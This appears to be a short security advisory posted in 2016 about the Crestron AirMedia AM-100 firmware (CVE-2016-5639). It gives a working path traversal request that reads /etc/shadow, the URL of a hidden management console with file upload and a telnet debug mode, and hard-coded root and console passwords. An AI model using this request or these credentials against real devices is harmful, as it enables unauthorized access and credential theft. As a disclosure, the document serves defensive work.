Crestron AM-100 1.2.1 Path Traversal / Hard-Coded Credentials
Posted on 23 November 2016
================================================================= # Crestron AM-100 (Multiple Vulnerabilities) ================================================================= # Date: 2016-08-01 # Exploit Author: Zach Lanier # Vendor Homepage: https://www.crestron.com/products/model/am-100 # Version: v1.1.1.11 - v1.2.1 # CVE: CVE-2016-5639 # References: # https://medium.com/@benichmt1/an-unwanted-wireless-guest-9433383b1673#.78tu9divi # https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md Description: The Crestron AirMedia AM-100 with firmware versions v1.1.1.11 - v1.2.1 is vulnerable to multiple issues. 1) Path Traversal GET request: http://[AM-100-ADDRESS]/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow 2) Hidden Management Console http://[AM-100-ADDRESS]/cgi-bin/login_rdtool.cgi The AM-100 has a hardcoded default credential of rdtool::mistral5885 This interface contains the ability to upload arbitrary files (RD upload) and can enable a telnet server that runs on port 5885 (RD Debug mode). 3) Hardcoded credentials The default root password for these devices is root::awind5885 Valid login sessions for the default (non-debugging) management interface are stored on the filesystem as session01, session02.. etc. Cleartext credentials can be read directly from these files.
